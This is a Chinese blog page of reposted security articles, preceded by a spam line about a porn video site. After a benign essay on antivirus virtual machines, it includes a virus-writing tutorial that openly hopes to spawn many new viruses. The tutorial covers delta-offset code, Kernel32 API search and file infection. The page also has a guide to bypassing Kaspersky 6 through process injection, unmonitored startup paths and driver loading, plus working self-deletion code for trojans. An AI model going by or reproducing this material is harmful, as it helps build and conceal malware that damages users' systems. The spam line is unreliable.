让风了还有别的wwW蝌蚪窝视频cao00122入口吗,wlan的网络蝌蚪窝视频cao00122com不支持是吗

已有 1001 人访问
上海隐志网络科技有限公司泛谈虚拟机及其在反病毒技术中的应用&虚拟机技术并不是一项全新的技术。我们经常遇到的虚拟机有很多。比如象GWBasic这样的解释器、MicrosoftWord的WordBasic宏解释器、JAVA虚拟机等等。 虚拟机的应用场合很多,它的主要作用是能够运行一定规则的描述语言。 我们说“虚拟”二字,有着两方面的含义:其一在于运行一定规则的描述语言的机器并不一定是一台真实地以该语言为机器代码的计算机,比如JAVA想做到跨平台兼容,那么每一种支持JAVA运行的计算机都要运行一个解释环境,这就是JAVA虚拟机;另一个含义是运行对应规则描述语言的机器并不是该描述语言的原设计机器,这种情况也称为仿真环境。比如Windows的MS-DOS Prompt就是工作在V86 方式的一个虚拟机,虽然在V86方式,实x86指令的执行和在实地址方式非常相似,但是Windows为MS-DOS程序提供了仿真的 ( 相对于物理1M以下内存是虚假的) 内存空间。 跨越计算机平台?虚拟机也有很多,比较典型的是在很多Unix下运行MS-DOS或Windows程序的仿真器。在一台非WinTel计算机上运行 MS-DOS应用程序,首先需要对MS-DOS应用程序所使用的x86指令进行解释执行,并要提供完整的仿真MS-DOS中断、功能调用和绝大多数BIOS调用,并要解决MS-DOS 环境所使用的内存特点。 根据仿真的彻底程度不同,所获得的兼容性也是不同的。 如果要仿真 MS-Windows 程序的运行环境,除了上述工作以外,基本上要完整地再做一份完全兼容的 Windows API,并且会遇到DDE、OLE、DirectX 等类似的令人头疼的兼容性问题。同时,仿真运行的程序必定是以比宿主计算机慢得多的速度来运行的。 因此,我们大致可以看到一个比较完整的虚拟机需要在很多的层次上做仿真,总的来说是分为“描述仿真”和“环境仿真”两大块。最简单的仿真环境几乎不能算是虚拟机:比如为了运行使用磁盘加密而制作的钥匙盘仿真驻留程序,它仅仅做一些诸如修改Int13这样的小手段,而不(必)包括指令执行的“描述仿真”;而象 Sourcer 这样的反汇编工具则是更注重指令解释, 而不必关心程序的运行结果,因此在环境仿真上所做的工作要少得多。完整、复杂的虚拟机是几乎没有尽头的,假想我们要在一台Unix计算机上运行一个看VCD的Windows 95程序, 或是运行一个使用8259中断、8237DMA的程序……, 有些仿真在理论上是可以实现的,有些则很可能行不通。所以,一个实用的虚拟机是根据需要和可能这两方面的因素来构造的,要权衡时间/空间复杂度、仿真兼容性、 运行性能和代价等诸多因素,根据实际情况来设计和实现。 我们在谈论病毒之前,可以再回顾一下模式识别和人工智能中的一些颇有回味的问题。比如图象图形识别中,区分一个汉字的描述是很清楚的,比如“三点水”右面加一个“又”字就是汉字的汉,但汉字识别却不能单纯使用这样的直接标准;又比如对弈问题中,国际象棋的的输赢准则很清楚,简单地说就是老王被吃掉者为输、都吃不了就和,同样,这个标准是一个易于描述和判断却不易实现的标准。 回头我们再来看病毒。前面大家都谈到了,病毒的最终判定准则是其复制传染性。但这个标准是不易被使用和实现的。如果病毒已经传染了,才判定是它是病毒,必然会给病毒的清除带来麻烦 (正如看病确诊不能等病人咽气,而要使用病症其他的特征一样); 而且很多病毒的传染是有条件的,不是说让它传染就传染的;即使是能够有效地控制病毒的蔓延,如何判定它是感染了一个文件( 而不是一个程序对其他程序做正常的处理)也会有相当的难度(比如多态编码病毒),而且判定另一个文件是否被感染病毒的问题,必然会陷入病毒判定的递归。 因此,复制传染性仅仅是作为病毒区分的最终概念和标准,而不是实用的检查病毒的通常手段。那么检查病毒用什么方法呢?这就是大家所看到的形形色色的反病毒软件所实用的手法。可谓八仙过海各显其能。与复制传染性这个以概念出发的直接准则相比,实际使用的方法都是相对准则、间接方法,即相对易于实现、同时也相对不那么准确的准则和方法。 客观地说,在各类病毒检查方法中,特征值方法是适用范围最宽、速度最快、最简单、最有效的方法 (比如我认识你一般只要看脸听声,而不必看出生证明、血型乃至DNA 检验,如同枪毙之前的验明正身) 。具体怎样提取特征使得准确率高、虚警和虚漏都比较少或可接受,就看各个反病毒研究者对病毒代码的理解、其自身水平等很多方面了,其中还要包括很多技术和技巧。最原始的特征值方法就是字符串匹配,比如大家都知道的KVn00, 至多是将无条件匹配变成加几个 ?? 的有条件匹配,当然还要再结合一些其他技巧。特征提取实际上也是一种信号处理的概念与实现。理论和事实都证明字符串匹配方法对特征提取的方向性不明确,真正有用的信息遗漏得太多,而提取出来的部分又有一些不带有病毒自身的特定信息。在技术上是一个比较失败的“特征提取”方法。当然,KVn00 作者的文化水平、能力和精力等情况都决定了目前的现状。 有效的特征提取方法可以将特定的病毒信息浓缩在很短的几个字节以内。这对于目前上万种病毒的检查和确认无疑是非常重要的。但是,通常的特征值方法对于未知病毒和多态编码病毒是无效的。多态编码病毒必须经过还原。也就是某些软件所称的必须有那么一个“解密引擎”(至于是否货真价实是另外一个问题)。而对于未知病毒,没有人工分析在先,而必须去寻求与病毒的直接准则更近而在实现程度上更“飘渺”的方法。我们先从MS-DOS文件型病毒谈起。先说对于已知多态编码病毒,如果能够正确解析这个病毒在编码上的规律,那么理论上是可以应付自如的,但是对于比较复杂的编码算法以及众多的多态编码病毒,如果没有相对统一的方法来处理,那么势必要仔细研究每种病毒的编码。如果能够让病毒在控制下先行运行一段时间,让其自己还原,那么,问题就会相对明了。可以说虚拟机是这种情况下的最佳选择。 一些类似AVP这样的国外软件都使用了这一技术。通过构造虚拟x86计算机的寄存器表、指令对照表和虚拟内存,能够让病毒体在监控下在虚拟机中运行一段时间。这一过程可以提取与“有可能被怀疑是”病毒或与病毒程序“相似”的行为,比如截获中断、“可疑”的跳转等和普通计算机程序“不太一样”的地方。同时,编码病毒在运行过程中完成自解码,还原成病毒体“原形”。病毒在自解码之后,还要再度结合原来的特征值方法,将已知病毒代码特征库的先验知识应用到虚拟机的运行结果中,完成对一个特定已知病毒的判定。 前面说了,病毒特征值一般是适用于已知病毒的,它不是判定病毒的唯一方法。病毒在感染前后都会有其它表象和结果,比如驻留病毒截取一些中断向量,尤其是Int21、Int13等比较“敏感”的中断、比如明显读操作 (如列目录)时出现的写目录,这些表象或结果与特征值相比,是病毒的一些动态判据, 常被应用在另一类的反病毒工具中,它们往往需要对PC环境做动态的监控。但是,单纯的截获向量只能是怀疑有病毒,在内存中确认有病毒一般要结合特定病毒在内存中的特定的特点。一般不能单纯凭借风吹草动就判定病毒。目前的动态监控技术的致命弱点是兼容性差。尤其在进入Window后,很多软(硬)件的表现将“不可意料”。 那么,究竟有多少因素就能够判定是一个新的未知病毒呢?如何在没有特征这一静态判据的条件下去根据动态判据去判定病毒呢?最现实的答案仍然是虚拟机。从理论上说,因为病毒在虚拟机中运行的每个步骤都是可控和可观测的,因此,只要判据充分,就首先可以判断是一个新的病毒。首先的工作是对病毒代码做解释执行。一个有一些汇编语言基本功、能力稍强一些的程序员通过艰苦的劳动是完全有可能胜任这一过程的。但这个工作的彻底程度如何,决定了这个虚拟机的基本性能。除了处理每种 x86指令在各种寻址上的差异外,如果要叫真,那么286指令、386指令、x87指令、 保护模式指令、MMX 指令也应该在仿真的范围之内,因为任何一条虚拟机不认识的指令都会另虚拟机“当机”。并且保不准那个病毒就运行了一条这种怪指令 (当然,目前还很罕见)。 第二个考验是仿真一部分MS-DOS和BIOS调用。其中包括重要的内存分配、文件处理。磁盘操作等关键环节。仿真的目的不仅仅是识别这些调用,而且是仿真获得这些调用及指令运行的结果及其连带结果。 第三个考验是PC环境、BIOS环境、MS-DOS环境及扩充的PC环境。比如重要的BIOS和MS-DOS数据区、MS-DOS的内存管理链、UMB甚至Himem、Emm386这样的程序所带来的XMS、EMS、DPMI等等管理协议。尽管这有些偏门,但已经发现有病毒通过DPMI来实现一些特定的功能。 尽管具体实现上困难重重,虚拟机仍然在反病毒软件中获得了极其成功的应用,并成为目前反病毒软件的一个趋势,归结起来可能是由于下面的这些原因: (1) 在处理加密编码病毒过程中,虚拟机是比较理想的处理方法; (2) 在反病毒软件中引入虚拟机是由于综合分析了大多数已知病毒的共性,并基本可以认为在今后一段时间内的病毒大多会沿袭这些共性; (3) 虚拟机的确可以抓住一些病毒“经常使用的手段”和“常见的特点”,并以此来怀疑一个新的病毒; (4) 目前“临床”应用的虚拟机并不是“高大全”的完整仿真环境,而是相对比较简单的、易于实现的版本。 (但各个反病毒厂商如果进行新一轮吹嘘,可能又没有边际了。) (5)虚拟机技术仍然与传统技术相结合,并没有抛弃已知病毒的特征知识库。 到目前为止,即便我们经受了上述艰难的考验,完成了一个比较完整的虚拟机,能够让绝大多数病毒“运行”而不“死机”,仍然还没有述及关于病毒标准的问题。如果最终以传染性来判定病毒的产生,并且,不仅能够识别新的未知病毒而且能够清除这个病毒,我们会发现这个反病毒工具不再是一个程序,而成为可以和卡斯帕罗夫抗衡的IBM深蓝超级计算机。 首先,虚拟机必须提供足够的虚拟,以完成或将近完成病毒的“虚拟传染”。如何获得这个兼容性目前还没有人专门探讨。 第二,在判定病毒的标准上, 仍然会有问题。 尽管根据病毒定义而确立的“传染”标准是明确的,但是,这个标准假如能够实施却是模糊的。一是,我们要仿真传染条件,对于那些条件感染病毒,怎样制造传播条件?如系统日期、感染对象的文件名等等,二是这个分析是通过动态执行(甚至回朔)分支屡试呢,还是通过反回头进行静态的指令过程分析? 第三,假如上一步能够通过,那么,我们必须检测并确认所谓“感染”的文件确实感染的就是这个病毒或其变形。 当然,如果能够具有这样的超级计算,并实现上述过程,那么,杀掉未知病毒也许是可能的。比如前面宝宝P_ost上来的getexe这样的脱壳程序,似乎就有那么一点动态杀毒的影子了,但实际实现还差着很遥远很遥远…… 可以说,最后这个软件到底是怎样一个“专家”,和这个虚拟机的构造是密切相关的。即便扣除上面讨论中貌似叫真抬杠的地方,这个工作量对于一、两个人,几乎是不收敛的!当然,说道这里,我并不是否定虚拟机的作用,而是肯定了虚拟机在反病毒软件中的特 夤毕住 虚拟机的引入使得反病毒软件件从单纯的静态分析进入了动态和静态分析相结合的境界,在一个阶段里面,极大地提高了已知病毒和未知病毒的检测水平,以相对比较少的代价获得了可观的突破。在今后相当长的一段时间内,虚拟机在合理的完整性、技术技巧等方面都会有相当的进展。目前国际上公认的、并已经实现的虚拟机技术在未知病毒的判定上能够达到 80% 左右的准确率,这已经是相当的成就了。获得这个结果也经过了几年的时间。 目前虚拟机的处理对象主要是文件型病毒。对于引导型病毒、Word/Excel宏病毒、木马程序在理论上都是可以通过虚拟机来处理的,但目前的实现水平还相距甚远。道高一尺、魔高一丈。就象病毒编码变形使得传统特征值方法失效一样,针对虚拟机的新病毒可以轻易使得虚拟机失效。简单的比喻,让一个虚拟机失效只需一条特殊的指令,或特殊的中断、甚至逆指令流……。 虚拟机是作为对过去已知病毒的统计分析而出现、并合理地存在的。随着新病毒的发展,虚拟机因此也会在实践中不断得到发展。但是,PC的计算能力是有限的,反病毒软件的制造成本也是有限的,而病毒的发展可以说是无限的。让虚拟技术获得更加实际的功效,甚至要以此为基础来清除未知病毒,其难度相当之大。当然这不影响我们在这里借此论坛讨论与这个技术相关的问题。作为一个学生,kav 能对反病毒技术和市场做如此深入的调研,实令人钦佩。 反病毒新技术的构思、实现与应用最终会归结在不仅是技术,而且还包括资金、知识、合作、市场、体制、心理等等太多的因素,正如前面dock所说,似乎仍将不可避免地归结为我们民族软件业的一个悲剧。这是我们无法回避的一个社会现实。当然,通过适当的学习、借鉴,尽可能地接近目前的反病毒国际先进水平,也许还是有一线曙光的。但愿中国反病毒行业依*吹嘘和欺骗的日子早日过去……posted @
11:13 U2U 阅读(290) 评论(0)
编辑[转载] Win32 PE病毒初级入门教程&免责声明:如果有人因为看了本文而写出任何恶性病毒进而对社会造成任何危害,一切后果与本人无关。本人只是讨论一些理论知识而已。如果你对病毒不感兴趣甚至讨厌病毒,请立刻离开这里,也不要妄加评论。写本文的目的:1,像普及性知识那样普及病毒知识,即使是老处男(说我呢?郁闷中)老处女也要懂性知识,所以爱好编程的也最好懂一些病毒的编写原理。(为何总拿性知识做比喻?因为中国人对性知识都很有兴趣,但对之讳莫如深,不敢或者不好意思明说,而程序员一般也对病毒知识很有兴趣,也不敢或者不好意思明说。所以从社会的角度讲,性知识和病毒知识很相似)2,发扬中国的病毒事业。为什么要发扬?去看我的其它文章。(但不要猜测我是AVer,我只是一个做苦力的普通编码程序员。)本文面向的读者:1,熟悉Win32汇编。不懂汇编只懂VB?没错,VB也可以写出“病毒”,但那是不是太惨了点?2,熟悉PE结构。faint!如果连PE文件结构都不知道,还去感染谁啊。3,对病毒有“严重”的热爱,至少也不要讨厌。由于本文含有可能招致PC用户不满的成分,所以如果你不喜欢病毒,请快快离去。4,如果你是个病毒高手,不要笑本文的肤浅,这本来就是入门文章,希望籍此能出现一大批中国人写的病毒。5,这是最基本的病毒编写入门技术,如果你真的是高手(你真的是高手?你怎么会真的是高手???:)),可以不用看了。本文是我的另一篇文章《Win32 PE病毒入门教程》的姊妹作,那篇文章出来以后,大家普遍认为不够入门,难以把握,所以就有了这篇更入门的文章。第一篇:工欲善其事,必先利其器--工具篇因为本文只讨论用汇编语言编写病毒,所以只介绍一些汇编的编程和调试工具。一,TASM 5.0一般病毒作者都比较喜欢用TASM(也是我的最爱),用MASM和NASM的很少,主要是因为TASM可以更灵活,让人更加自由地发挥。这里所指的,是全套的TASM,包括TASM32,TLINK32,TD32,BRC等等。这些都是命令行工具,需要在DOS窗下运行。具体命令行参数可以看帮助,要注意在tasm32中加上/m7和/ml开关,前者让tasm多趟扫描,可以产生更优化的代码,后者是大小写敏感开关,是Win32汇编需要的。而tlink32则用/Tpe产生PE格式的文件,/aa产生windows程序。我的习惯,是把tasm32和tlink32放在一个批处理里,这样不必总敲繁琐的命令行。二,VC你可能会奇怪,写汇编干嘛要用VC?呵呵,这里是把VC当作一个调试器来用。在调试Win32程序的时候,VC要比TD好用些。你可以试试,对于一般的Win32程序(包括病毒),甚至不用SoftIce都可以顺利地很容易地调试。三,SoftIce调试利器,在写某些类型的病毒的时候离开它真的不行。尤其是写和Windows核心相关的病毒,ring3调试器根本不行了,即使你的病毒还是运行在ring3上。四,PE格式查看工具这是写PE病毒必须的,你需要经常查看PE文件的格式。我新写了个PEViewer,BCB写的,好大,但好有用,还在改进中。TASM里有一个tdump,命令行的,也不错,不过用起来比较麻烦。五,UltraEdit你可以用任何文本编辑器(notepad,word)来编辑汇编代码,但我的最爱是UltraEdit。以上这些工具,缺少哪个都会让我不爽。用这些工具,足可以写出任何病毒了。你认为呢?第二篇:开始病毒地狱之旅--编码入门篇一,定位一个病毒不知道自己会感染host程序什么地方,所以也就不知道自己的地址,也就不能去引用内存变领。所以一般一个病毒一上来就是给自己定位。call GetVirAddrGetVirAddr:pop ebp现在ebp指向GetVirAddr了,要想把变量Var1送入eax,则mov eax,[ebp+Var1-GetVirAddr]就可以了。很多病毒(如Funlove),把上面的定位写成一个单独的sub routine,然后通过减法使ebp总是指向某一个固定位置。这种方式写起来容易,不必总要定位,但不利于优化代码。二,获取Kernel32的API这也是Win32病毒必须做的,因为它要用到API,没有API地址它什么都做不了。但病毒不能有import table,所以一般的方法是暴力搜索内存空间。这在我的另外一篇文章《Win32 PE病毒入门教程》里讲得很详细了,故摘抄过来,但改了一点小错误。注意,这种方法需要你对PE格式非常熟悉。”病毒无import table,而且现在已经不时髦去攫取host程序的import table了。现在通用的技术是从4G的地址空间中暴力搜索Kernel32的基地址,然后从Kernel32的export table中找到所需要的API的地址。一旦有了Kernel32的API,想导入其它DLL的API也就容易了,至少可以用LoadLibraryA和 GetProcAddress(呵呵,好基本的方法)。首先要确定Kernel32的基地址。这个地址在98,2K,XP下都不同。注意,一个好的病毒不能过分依赖某个OS的特性,所以我们不能在病毒体内写个死的77E80000。所以我们要搜出来。一般一个程序执行时,Kernel32都被映射到它的地址空间了,这就是我们为什么可以搜索它的地址的原因。看看三个OS的基地址,98为BFF70000,2K为77E80000,XP为77E60000,Ok,都在以上,我们可以就从这里开始。当然如果一个一个字节搜索,那么也太慢了,一般DLL定位都在1M边界,所以我们可以以10000为跨度。还有一个问题,4G空间不全是可读的,搜到某个地方就会出现GPE错误。怎么办?hmmmmmmmmmmmm,M$已经想到了这点,在Win32里提供了一种叫做SEH的技术,可以让你掐死出现的错误,使你的程序继续执行而不崩溃。具体SEH在汇编中的写法,只要几条指令,大家可以自己去找些病毒看一下就知道了。注意到PE文件和内存中的映像很相似,所以我们就可以按下面这个方式来搜索Kernel32ebx-&current address,now is hSet SEH frame#1ebx = ebx + 10000hif ebx == 0 then 郁闷中。没找到Kernel32???是崩溃还是返回host随你了,我无话可说。word ptr [ebx] == 'ZM' ?no,goto #1eax = [ebx + 3ch] ;另外一篇文章中的这两行写的特别别扭,很像C语言,现在改得更”汇编“些eax = ebx + eaxword ptr [eax] =='EP' ?no,goto #1 ;另外一篇文章中的这行有错误,把eax写成了ebx,现在改过来了,看来”狂饮啤酒“和”没喝啤酒“效果真的不一样*^__^*now we are sure this is a PE image,let's look up whether it's a dll,if not,goto #1then check the export dll name ,if it's not 'KERNEL32.DLL',goto #1Now go into it's export table,get the APIs address which we use to start our smart work,hahahaha.Remove SEH frame......SEH handler:resume to #1具体细节问题,大家自己去研究。目前大多数Win32病毒都是这个过程,当然具体实现方法会有不同。“找到Kernel32的API以后,就可以导入其它dll中要用到的API了。注意,把API地址存在一个数组里,然后用下面方法调用(过分初级了:()push large param_n......push large param_1call [ebp+Func-GetVirAddr]注意,所有的Win32 API都是从右至左压栈的。三,返回host程序做完初始化的工作后,要尽快返回host程序,否则容易被发现。但病毒还要继续运行,所以一般都是分配一块内存(VirtualAlloc),把自己copy进去,用CreateThread在那里启动一个线程,然后就可以返回host了。phere will be filled when infectingretn或者mov eax,hostentryjmp eax等等,等等。hostentry存放的是感染时原程序的entry point。四,感染感染是一个病毒的生存的根本,没有感染就没有生存,感染是病毒的面包。一般Win32病毒,难以hook系统API(有一些变通的方法,但不属于入门了),所以只能*反复搜索硬盘文件的方式来进行感染。 FindFirstFile,FindNextFile,FindClose,这三个API就可以完成所有的搜索任务。但搜索要掌握好时间,太快会让硬盘无故狂转,容易被用户发现,太慢又实在无法大量感染文件,所以要掌握火候,这就凭经验了。找到一个文件后,感染之,大家应该学会用File mapping API,这样可以快速地对文件进行操作。具体感染方法,各种各样,具体可自行研究或参考其它病毒。第三篇:咬文嚼字--名词解释篇1,VXer--Virus maker,病毒作者,很多人羡慕并想加入的群体。2,AVer--Anti-virus maker(或者叫Anti-viruser?),反病毒者。他们和VXer既是敌人又是朋友,没有VXer他们也就没了饭碗。AVer是阳光下的VXer,VXer是地下活动的AVer。3,PE--Portable Executable,Win32可执行文件的标准格式。4,Encryption--加密,病毒变形的基础技术。5,Polymorphism--变形,有一个变化的解密头,但病毒主体解密以后还是固定的6,Metamorphism--不知道中文是什么。和变形相对,我翻译成”变态“。因为它能把整个病毒体都给变化了,一个普通的metamorphism引擎也要好几十K,其中包括很完整的反汇编引擎,真够变态的了。”变态“不是贬义,是佩服写这些引擎的人的耐心。第四篇:苦口婆心,老生常谈--建议篇一,怎样学习Win32汇编?有的毒友看了我的文章后,开始钻研起Iczelion的很经典的Win32汇编教程。我明确告诉他们,那是浪费时间。那个教程之所以不适合用来学习写病毒,是因为,1,Iczelion是MASM的支持者,代码中大量用.IF .WHILE之类的伪汇编,结果和C语言差不多,但还不如直接用C,而且也无法控制汇编器产生什么样的代码,这也是我不喜欢MASM的主要原因之一。依* 工具产生的代码,肯定没有自己手写的好。2,他讲的主要是一般的Windows程序设计,和C语言设计Windows程序没什么区别,一个病毒一般并不需要窗口和消息。要想学好Win32汇编,首先要学好32位汇编,然后了解Windows的底层机制。二,哪个病毒是最好的范例?Funlove,最好的入门级示范代码。它是我所见过的病毒中写的最工整,最”模块化“也最容易读懂和理解的PE病毒(也正因为这样,它的代码才显得比较大)。去看看它的源代码吧,欣赏研究一下,一定会大有收获。不过建议初学者把它的NT patch部分跳过去,那部分涉及NT的安全机制,不太适合初学者。还应注意一点就是它的代码很像标准的汇编写的应用程序,这不太符合病毒的代码优化精神。另外它不是用暴力搜索Kernel32的,而是用了几个固定的Kernel32 base address,只支持9X/2K/NT,估计它不能在XP下运行,但我没试验过。它对ntoskrnl.exe进行patch的部分很简单,只要反汇编一下ntoskrnl.exe就可以看出来,但它patch ntldr的部分则比较高明,尤其是在1999年那样古老的年代。有谁对ntldr有研究,可以切磋一下。不过病毒技术千变万化,每个病毒都有自己的特色,单独研究一个病毒是不能窥全貌的。三,学病毒应该看哪些书?没有任何印刷品可以看。全仗你平时的积累,对汇编的,对Win32底层的积累。四,这篇文章还不够入门耶病毒编写是技术活,你不能够指望任何人能教你写出真正的病毒。病毒是要*自己的努力钻研,天下没有白吃的馅饼。我这篇文章只是给大家一个入门的思路和方向,具体很多技术细节,还要*自己去发掘。但病毒编写不是天才的专利,任何人只要努力都可以写出病毒。五,学习病毒编写应该具备哪些基本知识?我这些文章不能真的传授你所有的病毒编写知识,还要*你自己的修行。大概要掌握一下基本知识。1,Win32汇编,必备知识。2,熟悉病毒常用的API调用,如文件API,注册表API,内存API等等。3,熟悉系统底层的机理,如线程,内存管理,进程等等。4,掌握PE格式。不必全掌握,但一定要熟悉它的header和section table及import table和export table部分。5,做人的道理,这样才不会贻害四方。这是最重要的。如果你连这点都没有,奉劝你不要玩病毒!六,问:我写出来病毒应该如何处理答:把源代码发给我,切磋切磋^_^。第五篇:我们要做大好人--社会责任篇我写这些病毒教学文章,真的很希望多出些好的我们中国人自己写的病毒。但,写病毒和传播病毒甚至用病毒进行破坏不同。写病毒玩的是技术,利用病毒进行破坏则是在玩社会。虽然社会被玩了可能还不知道是被谁玩的,但大家要对得起自己的良心,不要拿病毒去害人。而且目前的流行的病毒大都呈良性发展趋势,如 Funlove,SirCam,Nimda和号称史上最流行的Klez.h(Klez以前的版本比较恶毒,但不是很流行)都没有刻意的破坏性。破坏显示不出你的功力,任何人都可以很容易写出覆盖所有文件的代码。我们玩病毒,是玩一些好玩或者新的或者高明的技术,而不是既低级又让人讨厌的技术。日晚9时,Koms Bomb,没喝啤酒,痛苦中欢迎转载,请保留“by Koms Bomb”我的联系方式和感言:一般我很少在网上留我的mail地址,倒不是我害怕病毒,而是实在讨厌spammer。如果大家要和我联系,请去我新开的个人BBS(http://komsbomb.myforum.net/)给我留言,我一定会看到的。或者请去我在驱动开发论坛主持的病毒版(http://www.driverdevelop.com/forum/html_forum_50.html? )找我,我不是在做广告,而是只有在那里才会比较容易地找到我。欢迎大家来和我切磋病毒技术。如果大家想在病毒和反病毒方面与我有合作,请和我联系。若有人愿意创建顶级域名(最好独立主机)的病毒方面的网站,我们可以合作。我在持续郁闷中,不知道自己应该做什么工作,也不知道自己应该向什么方向发展。我不想做professional VXer,没人会给VXer发工资。因为郁闷,很多时候,我都变得麻木,无法安心研究技术。这大概是中国程序员的悲哀,在研究技术的时候还要为生计奔波。也因为郁闷,所以才有了这些文章的诞生。posted @
11:12 U2U 阅读(1914) 评论(1)
编辑[Analysis] 卡巴斯基6安全防护机制的相关分析&2006年 5月15日,著名的反病毒安全软件厂商KasperskyLab发布了划时代的安全软件套装Kaspersky Internet Security 6(简称KIS6)以及 Kaspersky A
ntiVirus 6.0(简称KAV6)。KIS6/KAV6比卡罢以前的产品有了质的提高。KIS6包含了文件防毒、邮件防毒、网页防毒、事前防卫(包括进程行为监控,监视各类代码注入、安装全局钩子、加载驱动/服务等行为;文件完整性检查;检查各类运用RK技术的文件/进程/端口/注册表隐藏;Office宏保护等);反间谍软件、防火墙、反垃圾邮件等功能。KAV6比KIS6缺少了防火墙模块。
整体来说,KIS6非常强大。 Руткит 讨论组里,我们一致公认KIS6是目前最强的个人类安全套装。卡巴实验室里的确实都是精英,实力雄厚,许多东西都运用的Undocumented技术,导致我上一版本的WinDbg一进入内核调试状态就崩溃。KIS6的注册表监控的非常全:NoWinodwsp, ShellServiceObjectDelayLoad,ShellExcuteHooks,SharedTaskScheduler, SafeBoot,\Winlogon\Notify,AppInit_DLLs,开关机脚本等其他安全软件较少监控的自启动键值他都监控了;另外 KIS6监控了各类代码注入,包括SetThreadContext的方法;监控了加载驱动、服务加载、通过\\Device\\PhysicalMemory 对象进Ring0等;监控全局钩子的安装;文件完整性检查;反Rootkit,检测隐藏文件隐藏进程隐藏端口隐藏注册表;值的一提的是涂改 PspIdTable方法隐藏进程的方法KIS6也能查。另外KIS6的防火墙的控管规则也比较细,不像国内的个人防火墙是以进程为最小控管单位, KIS6如国外的其他一些防火墙把控制策略细化到具体进程的某个端口,比如默认情况下只允许Explorer.exe访问HTTP80端口,而不是完全允许Explorer.exe进程访问网络。Ap 夸KIS6夸完了,现在来说说他的弱点:关于KIS6监控采用远程线程代码注入的行为时,他只对注入IE等进程有反映,而他防火墙默认的控管规则里却允许Svchost等进程访问HTTP等端口,那木马程序只要用远程线程的方法注入svchost等进程,就能完完全全逃过卡巴了。 再来看在KIS6下怎样实现自启动。KIS6监控注册表确实监控得很全,而且还监控服务之类的,初看你在自启动方面是无处下手。不过可爱的卡巴斯基又犯了让我悲哀的低级错误,开始菜单里的启动文件夹他竟然没监控。免得被人说这样做太猥琐,那就再说个方法,因为可爱的卡巴在监控远程线程代码注入时只IE等进程进行提示,从而我们可以注入Winlogon,注入Winlogon后我们就可以Defeat SFP,然后感染文件实现自启动,虽然卡巴有文件完整性检查,不过问题不大,你自己试了就明白为什么了,呵呵。 再说点底层的,KIS6监控加载驱动监控得不全,嘿嘿,使用ZwSetSystemInformation我们照样可以加载驱动了,能加载驱动了天下还不是我们的了? 恢复SSDT表呀,DKOM,Miniport NDIS Hook,任我们玩了。 vxk的补充: 除了XYZREG说的几个地方,卡巴斯基在面对BOOT.INI+NTOSKRNL.EXE改写大法(这个方法很无耻),还有HOTPATCH(几乎通吃FireWall)大法时都很脆弱啊! hotPatch能够动态的改写某些dll的,比如kernel32.dll,我就不多说了。你在kernel32.dll里做一个code injection然后在适当的进程内部加载我们的DLL,好了,一切搞定。 posted @
11:11 U2U 阅读(97) 评论(0)
编辑[Analysis] Exe程序的自删除&程序的自删除已经不是什么新鲜的话题了,它广泛运用于木马、病毒中。试想想,当你的程序还在运行中(通常是完成了驻留、感染模块),它就自动地把自己从磁盘中删掉,这样一来,就做到了神不知鬼不觉,呵呵,是不是很cool呢?自删除(Self Deleting)最早的方法是由 Gary Nebbett 大虾写的,太经典了,不能不提。程序如下: #include "windows.h"int main(int argc, char *argv[]){char&&&&buf[MAX_PATH];&&&&HMODULE module;&&&&module = GetModuleHandle(0);&&&&GetModuleFileName(module, buf, MAX_PATH);&&&&CloseHandle((HANDLE)4);&&&&__asm {&&&&&&lea&&&& eax, buf&&&&&&push&&&&0&&&&&&push&&&&0&&&&&&push&&&&eax&&&&&&push&&&&ExitProcess&&&&&&push&&&&module&&&&&&push&&&&DeleteFile&&&&&&push&&&&UnmapViewOfFile&&&&&&ret}return 0;} 试试编译它,运行。怎么样?从你的眼皮底下消失了吧?是不是很神奇?Gary Nebbett 钻了系统的一个漏洞,他的程序是关闭了 exe 文件的 IMAGE(硬编码为4),然后用 UnmapViewOfFile 解除了 exe 文件在内存中的映象,接着通过堆栈传递当前程序的路径名缓冲区指针给 DeleteFile() ,实现了程序的自删除。Gary Nebbett 果然不愧为 WIN 系统下顶尖的底层高手。那么是否还有其他的方法实现程序的自删除呢?答案是肯定的。在 Win9x/ME 下,还可以利用 WININIT.INI 的一些特性。在 WININIT.INI 文件里面有一个节 [Rename] ,只要在里面写入要 “Nul=要删除的文件”,那么下次系统重新启动的时候,该文件就会被自动删除了。以下是一个例子: [Rename]NUL=c:\SelfDelete.exe 利用这个特性,我们就可以在程序中对这个 ini 文件进行操作。值得注意的是,当需要自删除的文件多于一个的时候,就不能使用 WritePrivateProfileString 来实现,因为这个 API 会阻止多于一个“NUL=”这样的入口在同一个节里面出现,所以最好还是自己手动实现。第三种方法是利用批处理文件。先让我们做一个试验:创建一个 a.bat ,给它写入以下内容: del %0.bat 现在运行它吧,屏幕一闪而过,最后留下一串字符:“The batch file cannot be found”。这时候它已经从你的硬盘中消失了。这说明,批处理文件是可以删除自己的,于是我们可以把这个小技巧运用在自己的程序当中: :Repeatdel "C:\MYDIR\SelfDelete.exe"if exist "SelfDelete.exe" goto Repeatrmdir "C:\MYDIR"del "\DelUS.bat" 它会重复不断地搜索是否有 SelfDelete.exe 这个文件,直到删除了它为止;当删除完毕后,这个批处理文件就会把自己删除。(注:本方法可以支持所有的 Windows 版本,即 Win9x/Me/NT/2000/XP)用批处理文件的方法有一个缺陷,就是会突然弹出一个 DOS 窗,冷不防的吓人一跳,不过据我所知这是目前唯一可以在 WinXP 下起作用的方法。当然,最理想的方法是用 Gary Nebbett 的那种,不过它的缺陷是没法在 WinXP 下起作用。(注:Gary Nebbett 的方法,hume已经给出了例子,所以我就不重复了,请到他的网站 http://humeasm.yeah.net 下载。)以上的方法都是前辈高人的研究总结,可不是我原创的,不过最后我给出一个 Win32ASM 例子,演示一下用批处理文件删除程序自身的方法。 ;******************************************************;程序名称:程序自删除示例,适用于Win9x/WinMe/Win2000/WinXP;******************************************************.386.model flat, stdcalloption casemap:noneinclude \masm32\include\windows.incinclude \masm32\include\kernel32.incinclude \masm32\include\shell32.incinclude \masm32\include\user32.incincludelib \masm32\lib\user32.libincludelib \masm32\lib\kernel32.libincludelib \masm32\lib\shell32.libDeleteExecutableBF&&&&&&&&PROTO.codemain:invoke DeleteExecutableBFinvoke ExitProcess, NULL;********************************************; 模块功能:用批处理文件删除自身; 入口参数:无; 